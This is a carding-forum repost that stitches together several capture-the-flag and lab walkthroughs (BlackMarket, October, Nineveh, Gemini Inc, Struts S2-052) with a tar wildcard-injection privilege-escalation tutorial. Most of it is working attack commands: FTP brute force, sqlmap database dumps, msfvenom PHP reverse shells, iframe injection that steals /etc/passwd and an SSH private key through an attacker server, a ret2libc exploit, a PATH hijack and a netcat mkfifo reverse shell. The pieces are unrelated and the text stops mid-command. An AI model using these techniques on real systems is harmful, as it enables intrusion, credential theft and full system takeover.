  [Guide] How to Hack The Blackmarket VM (CTF Challenge)
Posted by: NINZA - 05-14-2020, 09:04 AM - Forum: Carders Home - No Replies

BlackMarket VM presented at Brisbane SecTalks BNE0x1B (28th Session) which is focused on students and other InfoSec Professional. This VM has a total of 6 flags and one r00t flag. Each Flag leads to another Flag and flag format is flag {blahblah}. Download it from

[To see content please register here]

.
VM Difficulty Level: Beginner/Intermediate
Penetrating Methodology
  • Network Scanning (Nmap, netdiscover)
  • Information gathering:
  • Abusing web browser for the 1st flag
  • Generate dictionary (Cewl)
  • FTP brute-force (hydra)
  • FTP login for the 2nd flag
  • SQL injection for the 3rd flag
  • Blackmarket login for the 4th flag
  • Squirrel mail login for the 5th flag
  • Get cipher mail from inside Inbox. Draft
  • Decipher the mail and reach to backdoor.php
  • Upload backdoor shell
  • Netcat session for the 6th flag
  • Import python one-liner for proper TTY shell
  • Sudo Rights Privilege Escalation
  • Get Root access and capture the flag.
Let’s Breach!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own).
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104

As you can observe it has dumped a lot of details related to open ports and services running through them.
[Image: 2.png?w=687&ssl=1]
Knowing port 80 is open in the victim’s network I preferred to explore his IP in a browser. It put-up a Blackmarket login page but we don’t have credential yet, therefore, we like to view its source code for getting a clue.
[Image: 3.png?w=687&ssl=1]
BOOOMMM!! Luckily I found the 1st flag from its source code which was in base64.
flag1 {Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=}
[Image: 4.png?w=687&ssl=1]
Since the 1st flag was the base64 encoded so we try to decode it with help of the following syntax.
Syntax: echo ‘base64 encoded text’ | base64 -d
WoW!! It sounds CIA Operation Treadstone…………………
[Image: 5.png?w=687&ssl=1]
With help of Google I found this

[To see content please register here]

and after reading the whole article it becomes clear to me what CIA Operation Treadstone is all about and why flag 1 has held it secretly. Might be Black-market login credential could be extracted from here, therefore I decide to generate a dictionary with help of ‘Jason Bourne’ movie’s character. By executing the following command, we generated a wordlist for username and password dictionary and save it as dict.txt.

cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt

1
cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt

[Image: 6.png?w=687&ssl=1]
As we knew port 21 is open FTP, therefore, we use the above dictionary for FTP brute-force attack with help of hydra.
hydra -L dict.txt -P dict.txt 192.168.1.104 ftp
1
hydra -L dict.txt -P dict.txt 192.168.1.104 ftp

Successfully found FTP-login user: nicky password: CIA
[Image: 7.png?w=687&ssl=1]
Then with help above credential, we logged into FTP and enumerate IMP.txt from inside /IMPFiles and download it with the help of the following command.
ftp 192.168.1.104
ls -al
cd ftp
ls -al
cd IMPFiles
ls -al
get IMP.txt

1
2
3
4
5
6
7

ftp 192.168.1.104
ls -al
cd ftp
ls -al
cd IMPFiles
ls -al
get IMP.txt

[Image: 8.png?w=687&ssl=1]
With help of cat command, we open the IMP.txt file and found flag2 from inside it.  Here also we read the given message and analysis the given hint “CIA blackmarket Vehicle workshop”.
cat IMP.txt
1
cat IMP.txt

flag2 {Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}
[Image: 9.png?w=687&ssl=1]
Looking at above hint I focus on “Vehicle workshop” and start examining the web browser for every possible directory having Vehicle/workshop and Unfortunately I retrieved following web page when tried

[To see content please register here]


1

[To see content please register here]


It was a dashboard of the Black-Market Auto Workshop.
[Image: 10.png?w=687&ssl=1]
After examining the whole dashboard we check-out the Spare Parts and observe its web page and URL. So we decide to use SQLMAP against for SQL injection.
[Image: 11.png?w=687&ssl=1]
Then execute the following command for fetching its database name with help of sqlmap.
sqlmap -u

[To see content please register here]

--dbs --batch

1
sqlmap -u

[To see content please register here]

--dbs --batch

[Image: 12.png?w=687&ssl=1]
Here I found some database names and as per my consideration, it should be blackmarket therefore without wasting time I step ahead for fetching tables from inside it.
[Image: 13.png?w=687&ssl=1]
sqlmap -u

[To see content please register here]

-D BlackMarket --dump-all --batch

1
sqlmap -u

[To see content please register here]

-D BlackMarket --dump-all --batch

Here I  found a table “flag” and capture the 3rd flag from here.
Flag3 Find Jason Bourne Email access.
[Image: 14.png?w=687&ssl=1]
Then we have fetched table “user” and found usernames with their hash passwords.
[Image: 15.png?w=687&ssl=1]
With help of the online MD-5 decrypting tool, we decode above-enumerated hashes and found following.
Username: admin |password:  cf18233438b9e88937ea0176f1311885 MD5: BigBossCIA
Username: user |password:  0d8d5cd06832b29560745fe4e1b941cf md5 (md5($pass)) : user
[Image: 16.png?w=687&ssl=1]
Then again we explore target IP in the browser and enter following credential for login.
admin
BigBossCIA

1
2

admin
BigBossCIA

It put-up a pop with flag 4 along with a message as shown.
flag4{bm90aGluZyBpcyBoZXJl}
Jason Bourne Email access ?????
[Image: 17.png?w=687&ssl=1]
From Inside customers, I got email Id [email protected] of user Jason Bourne.
[Image: 18.png?w=687&ssl=1]
At this stage I felt to use Dirb for a directory brute-force attack, here we notice /squirrelmail/ and for sure we will be going to get something from here.
[Image: 19.1.png?w=687&ssl=1]
So we explore following URL

[To see content please register here]

and enter given below credential as described in the 4th flag (Jason Bourne Email access ?????)

Username: [email protected]
Password: ?????
It gives the following mailbox as shown and I start further enumeration.
[Image: 19.png?w=687&ssl=1]
Then while inspecting INBOX. Drafts I found the 5th flag from inside IMPORTANT MESSAGE mail.
Flag5 {RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}
And after reading this we find some encoded text which needs to be decoded.
[Image: 20.png?w=687&ssl=1]
Then I decoded the above text as shown and after reading it, I concluded that there should be a “passpass.jpg” under a directory /kgbbackdoor inside Blackmarket workshop which will take us to the actual backdoor.
[Image: 21.png?w=687&ssl=1]
So without wasting time I look for the above-said path.

[To see content please register here]


1

[To see content please register here]


hhheheyy!!! This image must be hiding something inside, let’s download it
[Image: 22.png?w=687&ssl=1]
Then I use string tool and enter the following command to extract metadata from inside it.
strings PassPass.jpg
1
strings PassPass.jpg

Here we found something interesting.
Pass = 5215565757312090656
1
Pass = 5215565757312090656

[Image: 24.png?w=687&ssl=1]
Since the above extract metadata “Pass” which could be the possible password, and we can use this for further approach, therefore, we try to decode it. As it was in decimal (5215565757312090656) format so first, we decode it into hex (4861696C4B474220) then decode it into ascii and obtained “HailKGB”
[Image: 25.png?w=687&ssl=1]
As slowly and gradually we are moving towards our goal as it getting more-and-more hectic for me. After penetrating more I reached following URL where you will found Page Not Found error message…….

[To see content please register here]


1

[To see content please register here]


BANG ON Dear, it is an illusion because at this page you will get a hidden login form as declared in the encrypted mail. Still, if you have any confusion, please read above decoded text message drop for Dimitri one more time, everything will be cleared to you.
[Image: 28.png?w=687&ssl=1]
B0000MMM!!! Here we have access the backdoor about whom the sender has informed to Dimitri.
[Image: 29.png?w=687&ssl=1]
Now let’s enter attacker IP: 192.168.1.107 and listening port 4444 and then start netcat listen in a new terminal to get victim’s reverse connection.
nc -lvp 4444
1
nc -lvp 4444

[Image: 31.1.png?w=687&ssl=1]
With help of netcat, we successfully spawn pty shell of victim’s VM machine then open flag.txt with help of cat command and found 6th the last flag of this VM. Now we need to get root access to finish this challenge.
cat flag.txt
flag6{Um9vdCB0aW1l}
cd /home
ls -al
cd .Mylife
ls -al
cat .Secret

1
2
3
4
5

cd /home
ls -al
cd .Mylife
ls -al
cat .Secret

while reading the message I notice something prodigious i.e. DimitriHateApple because the file is named as secret, therefore, I took DimitriHateApple as the password for user: Dimitri
[Image: 31.png?w=687&ssl=1]
Then I try to login with Dimitri and for that, I execute the following command to access proper terminal.
python -c 'import pty; pty.spawn("/bin/bash")'
su dimitri
DimitriHateApple

1
2
3

python -c 'import pty; pty.spawn("/bin/bash")'
su dimitri
DimitriHateApple

Great!!! We login successfully now let’s try privilege escalation for root access.
I was shocked when I checked sudo rights for user Dimitri because I notice ALL Privilege are allotted.
sudo -l
(ALL : ALL) ALL
sudo su

1
2
3

sudo -l
(ALL : ALL) ALL
sudo su

Yehhh!! We own root access.
[Image: 32.png?w=687&ssl=1]
cd /root
ls
cat THEEND.txt

1
2
3

cd /root
ls
cat THEEND.txt

HURRAYYYY!!!! We finished this challenge.
Happy Hacking
[Image: 33.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “October” which is available online for those who want to increase their skill in penetration testing and black box testing. October is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.16 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.16
1
nmap -sV 10.10.10.16

From given below image, you can observe we found port 22 and 80 are open on target system.
[Image: 1.png?w=687&ssl=1]
As port 80 is running http server we open the target machine’s ip address in our browser, and find that it is running octobercms.
[Image: 2.png?w=687&ssl=1]
We go to the default admin login page for octobercms at

[To see content please register here]

.

[Image: 3.png?w=687&ssl=1]
We can login to this CMS with default credentials; Username: admin Password: admin
[Image: 4.png?w=687&ssl=1]
And we got the admin access to October CMS, Now to get reverse shell first rename your php payload to ‘.php5 ‘. We use msfvenom to create a php payload and save it as shell.php5.
msfvenom -p php/meterpreter/reverse_tcp  lhost=10.10.14.25 lport=4444 -f raw > shell.php5
1
msfvenom -p php/meterpreter/reverse_tcp  lhost=10.10.14.25 lport=4444 -f raw > shell.php5

[Image: 6.png?w=687&ssl=1]
After create the payload we setup our listener using metasploit.
msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.25
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run

1
2
3
4
5

msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.25
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run

[Image: 7.png?w=687&ssl=1]
Now click on Media in the top toolbar, now upload your PHP reverse shell, and click on the public link which is on the right side.
[Image: 8.png?w=687&ssl=1]
As soon as we click on the link we get our revershell. We use sysinfo command to check the system information about the target machine.
[Image: 9.png?w=687&ssl=1]
Now spawn a tty shell and try to find binaries in the system with suid bit set.
meterpreter  > shell
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null

1
2
3

meterpreter  > shell
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null

[Image: 10.png?w=687&ssl=1]
We find a binary called ovrflw that has suid bit set. We download the file into our system using meterpreter.
meterpreter > download /usr/local/bin/ovrflw /root/Desktop
1
meterpreter > download /usr/local/bin/ovrflw /root/Desktop

[Image: 11.png?w=687&ssl=1]
We open the file in gdb and take a look at the assembly code. At line main+64 we find the strcpy function, As strcpy is vulnerable to buffer overflow we try to exploit it.
[Image: 12.png?w=687&ssl=1]
First we create a 150 bytes long string to find the EIP offset using patter_create script.
./pattern_create.rb  -l 150
1
./pattern_create.rb  -l 150

[Image: 13.png?w=687&ssl=1]
We run the file in gdb along with the 150 byte character as the argument and find that the EIP register was overwritten with 0x64413764.
[Image: 14.png?w=687&ssl=1]
We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 112. So we need to write 112 characters and then write the address of the instructions we want to be executed.
./pattern_offset.rb -q 64413764 -l 150
1
./pattern_offset.rb -q 64413764 -l 150

[Image: 15.png?w=687&ssl=1]
Now when we try to insert shellcode into the buffer but we were unable to execute it because of DEP. It prevents code from being executed in the stack. Now we are going to do a ret2libc attack to execute a process already present in the process’ executable memory. We go into the target machine and find ASLR in enabled so we have to brute force the address. Now we find the address of system, exit and /bin/sh.
gdb /usr/local/bin/ovrflw -q
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xb75bd310, +9999999, "/bin/sh"
(gdb) x/s 0xb76dfbac
(gdb) p exit

1
2
3
4
5
6
7

gdb /usr/local/bin/ovrflw -q
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xb75bd310, +9999999, "/bin/sh"
(gdb) x/s 0xb76dfbac
(gdb) p exit

[Image: 16.png?w=687&ssl=1]
Now we create our exploit we brute force the address using bash because of ASLR. We align the address in this order: system>exit>/bin/sh.  We get the root shell as soon as it matches our memory address.
[Image: 17.png?w=687&ssl=1]
After getting the root shell, we move to /root directory and find a file called root.txt we open the file and find the first flag.
[Image: 19.png?w=687&ssl=1]
After finding the first flag we go to /home/ directory, in home directory and find a directory called harry/. We go inside harry directory and find a file called user.txt, we open user.txt and find our final flag.
[Image: 20.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Nineveh” which is categories as retired lab presented by Hack the Box for making online penetration practices.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Penetration Methodology
Scanning
  • Open port and running services (Nmap)
Enumeration
  • Enumerating Web Directories (Dirb)
Exploiting
  • Brute force on PHPliteAdmin (Burp Suite)
  • Spawning Shell (Metasploit)
  • Get user.txt
Privilege Escalation
  • User.txt
Walk-Through
Scanning
Since these labs are online accessible therefore they have static IP. The IP of Nineveh is 10.10.10.43 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.43
1
nmap -A 10.10.10.43

it enumerated port 80 and 443 are open.
[Image: 1.png?w=687&ssl=1]
We explored port 80 but didn’t observe any remarkable clue for next step.
[Image: 2.png?w=687&ssl=1]
Enumeration
So next, we use the dirb tool of Kali to enumerate the directories and found some important directories such as

[To see content please register here]

  then went to the web browser to explore them.

dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

[Image: 3.png?w=687&ssl=1]
It put-up login page as shown here.
[Image: 4.png?w=687&ssl=1]
So we try the random combination of username and password. While we have enter username: admin and Password: password it gave an error “Invalid Password” hence it was sure that the username must be the admin.
[Image: 5.png?w=687&ssl=1]
Then with help of burp suit, we made brute force attack and use the rockyou.txt file as password dictionary. Thus we obtain the correct combination for login.
Username: admin
Password: 1q2w3e4r5t

1
2

Username: admin
Password: 1q2w3e4r5t

[Image: 6.png?w=687&ssl=1]

Used above credential for login and get into admin console as shown.
[Image: 8.png?w=687&ssl=1]
At Notes tab we concluded that the given text of a file stored at someplace in the system entitled with ninevehNotes.txt.
[Image: 9.png?w=687&ssl=1]
After that we also explored port 443 and observe the following web page. We also look at it view source but didn’t notice any further hint.
[Image: 10.png?w=687&ssl=1]
Therefore again use dirb tool for directory brute force attack and observe the /db directory.
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

[Image: 11.png?w=687&ssl=1]
Exploiting
For a second time, we explored the above-enumerated directory and observe login page for phpliteAdmin v1.9.
[Image: 12.png?w=687&ssl=1]
Again we lunch brute forced the password field on /db with burp suit and got the password: password123.
[Image: 13.png?w=687&ssl=1]
By using password123 and we get inside the PHPLiteAdmin dashboard. Then with help of Google, we found the trick to exploit it after reading the description from exploit DB 24044.
[Image: 14.png?w=687&ssl=1]
After reading the description from exploit 24044 then we create a new database “ninevehNotes.txt.shell.php”
[Image: 15.png?w=687&ssl=1]
Here we have created a new table “Demo” and Add! Filed inside this.
[Image: 16.png?w=687&ssl=1]
Now create an entry in filed 1 as shown.
[Image: 17.png?w=687&ssl=1]
Let’s create a PHP payload for injecting inside the new database. We have to use the msfvenom command for generating PHP backdoor.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw

Now copy the code from *<?php….die(); and start multi handler in a new terminal
[Image: 18.png?w=687&ssl=1]
GO to insert tab and Past above-copied code inside the text field given for Value.
[Image: 19.png?w=687&ssl=1]
At last you will notice /var/tmp/ ninevehNotes.txt.shell.php is the Path for your database.
[Image: 20.png?w=687&ssl=1]
If you remember, we had already access admin console and observed a tab for Notes, use it to execute your backdoor.

[To see content please register here]


1

[To see content please register here]


[Image: 22.png?w=687&ssl=1]
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

1
2
3
4
5

msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

From given below image you can observe meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
meterpreter > sysinfo
meterpreter > cd /home
meterpreter > ls
meterpreter > cd amrois
meterpreter >ls
meterpreter > cat user.txt

1
2
3
4
5
6

meterpreter > sysinfo
meterpreter > cd /home
meterpreter > ls
meterpreter > cd amrois
meterpreter >ls
meterpreter > cat user.txt

[Image: 24.png?w=687&ssl=1]
Privilege Escalation
After doing a little bit enumeration we notice a directory report is owned by the user amrois and these reports were being continuously generated by chkrootkit in every minute.
With help of Google, we came to know that Metasploit contains an exploit for chkrootkit exploitation. After entering following command as shown in the given image to load exploit/unix/local/chkrootkit module then set session 1 and arbitrary lport such as 4545 and run the module.
This will give another session, as you can see we have spawned command shell of the target’s machine. Now if you will check uid by typing id it will show uid=0 as root.
id
cd /root

1
2

id
cd /root

And to see the list of files in /root type:
ls -lsa
1
ls -lsa

In the list you will see that there is a text file and read that file type :
cat root.txt
1
cat root.txt

Congrats!! We hit Goal finished both tasks and at end obtain the root access.
[Image: 25.png?w=687&ssl=1]

Gemini Inc has contacted you to perform a penetration testing on one of their internal systems. This system has a web application that is meant for employees to export their profile to a PDF. Identify any vulnerabilities possible with the goal of complete system compromise with root privilege. To demonstrate the level of access obtained, please provide the content of flag.txt located in the root directory as proof.
Download it from

[To see content please register here]

.

Penetrating Methodologies
  • Scanning (Nmap)
  • Abusing web application for export injection vulnerability
  • Exploit web application via html iframe
  • Steal SSH RSA file
  • Access tty shell through ssh login
  • Enumerate file having SUID bit
  • Privilege Escalation
  • Get root shell
  • Complete the task and capture the Flag.txt
Let’s GO000!!!
To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.103 --open
1
nmap -p- -A 192.168.1.103 --open

[Image: 1.png?w=687&ssl=1]
As result, it figures out port 22 and 80 was open. Also found a directory /test2 When explored target IP through the web browser it put up following web page as discussed.
[Image: 2.png?w=687&ssl=1]
Then we explored /test2 where we read the following message for admin and also look after at the URL given here.
[Image: 3.png?w=687&ssl=1]
Then at login form, we tried the hit-try method for login into the admin console and luckily at 5th attempt we get successful login when we submit following credential.
Username: admin
Password: 1234
[Image: 4.png?w=687&ssl=1]
After login into admin console successfully we check available action that can be performed by the administrator and here it shows the following actions.
  • Edit profile
  • Export profile
[Image: 5.png?w=687&ssl=1]
So we execute export profile to observe what is in actually it is exporting but could not figure out from its output as shown in below image, therefore, we decided to capture its request.
[Image: 6.png?w=687&ssl=1]
Further, with help of burp suit, we try to capture its browser request and sent the Intercepted request into the repeater and here I saw the export script possibly gave us the user profile page admin in PDF format by a tool named wkhtmltopdf.
[Image: 7.png?w=687&ssl=1]
Security breaches if the web application does not filter the user’s input, the server is exposed to several loopholes  Because the most common exposures on the web, is the possibility to download an arbitrary file from a server. This state establishes a critical security issue, as it provides an attacker the ability to download delicate information from the server. For example download /etc/passwd file and so on.
We can abuse the wkhtmltopdf and try to download delicate information. Here we have written the following code for the index.php script that redirects to the any requested file.
[Image: 8.png?w=687&ssl=1]
In order to transfer it into the victim’s machine, therefore, we launch the PHP server for file transfer.
php -S 0.0.0.0:4444
1
php -S 0.0.0.0:4444

[Image: 9.png?w=687&ssl=1]
We got a hint for export injection from this source:

[To see content please register here]

and its on the basis we proceed for the following steps.

Now go with Action -> edit profile
Then injecting the following HTML code inside the text field given for the Display name
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/etc/passwd"></iframe>
1
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/etc/passwd"></iframe>

[Image: 10.png?w=687&ssl=1]
Now go with Action -> export profile
[Image: 11.png?w=687&ssl=1]
TERRIFIC!!!! It stands on our expectation and we have /etc/passwd file in front of us.  here we can clearly observe UID GID 1000 for user: gemini1. 
[Image: 12.png?w=687&ssl=1]
From nmap scan result we had seen there was a hint for SSH RSA key and we also knew the first username of this VM, therefore let’s try to export RSA file.
Now go with Action -> edit profile
Then injecting the following HTML code inside the text field given for the Display name
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/home/gemini1/.ssh/id_rsa"></iframe>
1
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/home/gemini1/.ssh/id_rsa"></iframe>

[Image: 13.png?w=687&ssl=1]
Now go with Action -> export profile
Feeling Incredible just after observing the following result, download it quickly.
[Image: 15.png?w=687&ssl=1]
With help of downloaded RSA, file connects to victim’s VM via ssh.
ssh -i login_rsa [email protected]
1
ssh -i login_rsa [email protected]

[Image: 16.png?w=687&ssl=1]
Then without wasting your time search for the file having SUID or 4000 permission with help of Find command for post exploitation.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null

Here we can also observe an interesting file/usr/bin/listinfo having suid permissions. And after exploring this file we notice it probably running netstat and date. Hence we can escalate privilege by exploiting environment PATH Variable, you can take help of our article from

[To see content please register here]

to know more about it.

[Image: 17.png?w=687&ssl=1]
cd /tmp
echo "/bin/sh" > date
chmod 777 date
echo $PATH
export PATH=/tmp:$PATH
/usr/bin/listinfo

1
2
3
4
5
6

cd /tmp
echo "/bin/sh" > date
chmod 777 date
echo $PATH
export PATH=/tmp:$PATH
/usr/bin/listinfo

As you can observe after that we execute id command and accomplished by root id.
[Image: 25.png?w=687&ssl=1]
As you can observe after that we execute id command and accomplished by root id. Now let’s finished this task by capturing the flag.txt flag from the inside root directory.
cd root
ls
cat flag.txt

1
2
3

cd root
ls
cat flag.txt

[Image: 26.png?w=687&ssl=1]


  [Guide] How to Hack The Vulnhub Pentester Lab: S2-052
Posted by: NINZA - 05-14-2020, 09:01 AM - Forum: Carders Home - No Replies

Hello friend!! Today we are going to exploit another VM lab which is designed by Pentester Lab covers the exploitation of the Struts S2-052 vulnerability. The REST Plugin is using an XStreamHandler with an instance of XStream for deserialization without any type filtering and this can lead to Remote Code Execution when deserializing XML payloads.
Source:

[To see content please register here]


Table of Content
  • Introduction
  • Download VM
  • Enumeration (Nmap)
  • Surfing Port 80
  • Exploit the target (Metasploit)
Let’s Exploit!!
Download it from

[To see content please register here]

and run this VM. Then check its network configuration through ifconfig command.

[Image: 0.png?w=687&ssl=1]
Since target belongs to 192.168.1.103 network, let’s go for its enumeration with help of nmap following command to identify running service and version.
nmap -A 192.168.1.103
1
nmap -A 192.168.1.103

From nmap scanning result we enumerated the following details:
Http-server-header: Apache-coyote/1.1
Http-title: orders
Requested resource: /order.xhtml
[Image: 1.png?w=687&ssl=1]
So when we have explored /order.xhtml through the web browser it put up the following webpage.
[Image: 2.png?w=687&ssl=1]
Further, we explore user Bob it brings us inside order 3 web page.
[Image: 3.png?w=687&ssl=1]
Since the author has already declared that is VM is vulnerable to the Struts S2-052 therefore with the help of the following module of Metasploit we can directly exploit it to obtain command shell of target VM.
msf > use exploit/multi/http/struts2_rest_xstream
msf exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.1.103
msf exploit(multi/http/struts2_rest_xstream) > set rport 80
msf exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf exploit(multi/http/struts2_rest_xstream) > exploit

1
2
3
4
5

msf > use exploit/multi/http/struts2_rest_xstream
msf exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.1.103
msf exploit(multi/http/struts2_rest_xstream) > set rport 80
msf exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf exploit(multi/http/struts2_rest_xstream) > exploit

BOOOOOOOM!!! Here we owned the command shell of victim’s vm.
[Image: 5.png?w=687&ssl=1]

In this article, we will cover “Wildcard Injection” an interesting old-school UNIX hacking technique, which is still a successful approach for Post exploitation and even many security-related folks haven’t heard of it. Here you will get surprised after perceiving some UNIX tools like ‘tar’ or ‘chown’ can lead to full system compromise.
Table of content
  • Introduction
  • Wildcard
  • Wildcard wildness example 1
  • File hijacking example 2
  • Post Exploitation via tar (Phase I)
  • Tar Wildcard Injection (1st method)
  • Post Exploitation via tar (Phase II)
  • Tar Wildcard Injection (1st method)
  • Tar Wildcard Injection (2nd method)
  • Tar Wildcard Injection (3rd method)
Let’s Start!!!
Wildcard
The wildcard is a character or set of characters that can be used as a replacement for some range/class of characters. Wildcards are interpreted by the shell before any other action is taken.
Some Wildcards character:
*    An asterisk matches any number of character in a filename, including none.
?    The question mark matches any single character.
[ ]  Brackets enclose a set of characters, any one of which may match a single character at that position.
–    A hyphen used within [ ] denotes a range of characters.
~    A tilde at the beginning of a word expands to the name of your home directory. Append another user’s login name to the character, it refers to that user’s home directory.
1st Example
You might be aware of wildcard symbol and their traditional usage but here we are presenting wildcard wildness and for this, I would like to draw your attention towards below steps.
cd /Desktop
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help

1
2
3
4
5
6

cd /Desktop
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help

So as you can observe, here we have made a new directory “wild” on the desktop then with help of echo command we have created 3 files and written 1 line in each file.
[Image: 1.1.png?w=687]
Afterward, with help of cat command, we try to open all the above 3 files as shown:
cat file1
cat file 2
cat --help

1
2
3

cat file1
cat file 2
cat --help

However, the first two files opened normally and show the same information as written above. But the cat command failed to read information written inside –help file. Instead of showing “take help” while opening –help file it calls its own –help options from its own libraries & such type of trick is called Wildcard wildness.
[Image: 1.2.png?w=687]
File owner hijacking via Chown
Similarly again we try to do something roguish with help of chown command. As we know it is an abbreviation of change owner, which is used on Unix-like systems to modify the ownership of file system files, directories and it may only be changed by a super-user. Let say we have three users in our system.
Super-user (root) – perform an admin-level task such as run chown command.
Non-root-user1 (raj) – perform ordinary jobs such as create file
Non-root-user2 (aarti) – perform ordinary jobs such as create file
Mischief-user (Ignite) – perform the notorious task such as Chown file reference trick that can lead file owner hijacking.
In the following image, you can observe all the PHP file is owned by user: raj. Now when the user: ignite found all PHP file is own be user raj then he induces two PHP file himself in the same directory and uses file reference trick for file owner hijacking by executing below commands.
ls -al
echo "" > my.php
echo > --reference=my.php

1
2
3

ls -al
echo "" > my.php
echo > --reference=my.php

[Image: 1.3.png?w=687]
As you can notice, mostly file is owned by user: raj and the last two files are owned by user: ignite and when the super-user will be supposed to change ownership of all file having PHP extension with help of wildcard, then all files will indirectly come under the ownership of user: ignite.
As you can observe when root user run chown command to give ownership to all the PHP files to the user: aarti, an error occurred and as result, the all PHP file get seized by user: ignite automatically.
chown -R aarti:aarti *.php
ls -al

1
2

chown -R aarti:aarti *.php
ls -al

Conceptual Information:
If you have ever explored chown to read its optional switches then you will find the following option.
–reference=RFILE (use RFILE’s owner and group rather than specifying OWNER: GROUP values)
In our case user: ignite executed the following commands:
echo "" > my.php
echo > --reference=my.php

1
2

echo "" > my.php
echo > --reference=my.php

Then root user takes help of wildcard character for changing ownership. Thing is that wildcard character used in ‘chown’ command line took subjective ‘–reference=.my.php’ file and passed it to the chown command at the command line as an option.
[Image: 1.4.png?w=687]
Post Exploitation via tar (Phase I)
Lab-Setup
Likewise again we extend the wildness of wildcard character to the ultimate level and it was like a dynamic explosion in terms of system hacking.
Tar is a very common UNIX program for creating and extracting archives. And with help of it, we are going to take compress backup of any directory. For example, make a new directory and give ALL permission to it and then create some files.
mkdir html
chmod 777 html
cd html
touch index.html
touch raj
touch file.txt

1
2
3
4
5
6

mkdir html
chmod 777 html
cd html
touch index.html
touch raj
touch file.txt

[Image: 1.png?w=687]
Now schedule a task with help of crontab to run tar archival program for taking backup of /html from inside /var/backups in every 1 minute.
nano /etc/crontab
*/1 *  * * *  root tar -zcf /var/backups/html.tgz /var/www/html/*

1
2

nano /etc/crontab
*/1 *  * * *  root tar -zcf /var/backups/html.tgz /var/www/html/*

[Image: 2.png?w=687]
Let’s verify the schedule is working or not by executing following command.
cd /var/backup
ls

1
2

cd /var/backup
ls

[Image: 3.png?w=687]
Tar Wildcard Injection (1st method)
Privilege Escalation
Start your attacking machine and first compromise the target system and then move to privilege escalation stage. Suppose I successfully login into the victim’s machine through ssh and access non-root user terminal. Then open crontab to view if any job is scheduled.
cat /etc/crontab
1
cat /etc/crontab

Here we notice the target has scheduled a tar archival program for every 1 minute and we know that cron job runs as root. Let’s try to exploit.
[Image: 4.png?w=687]
On a new terminal generate netcat reverse shell malicious code for achieving netcat reverse connection by using msfvenom and enter the following command for that.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R

Copy the generated payload and paste inside the victim’s shell as described below.
nc -lvp 8888
[Image: 5.png?w=687]
Now paste above-copied payload as described below and ran the following commands inside the victim’s tty shell.
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

1
2
3
4

echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
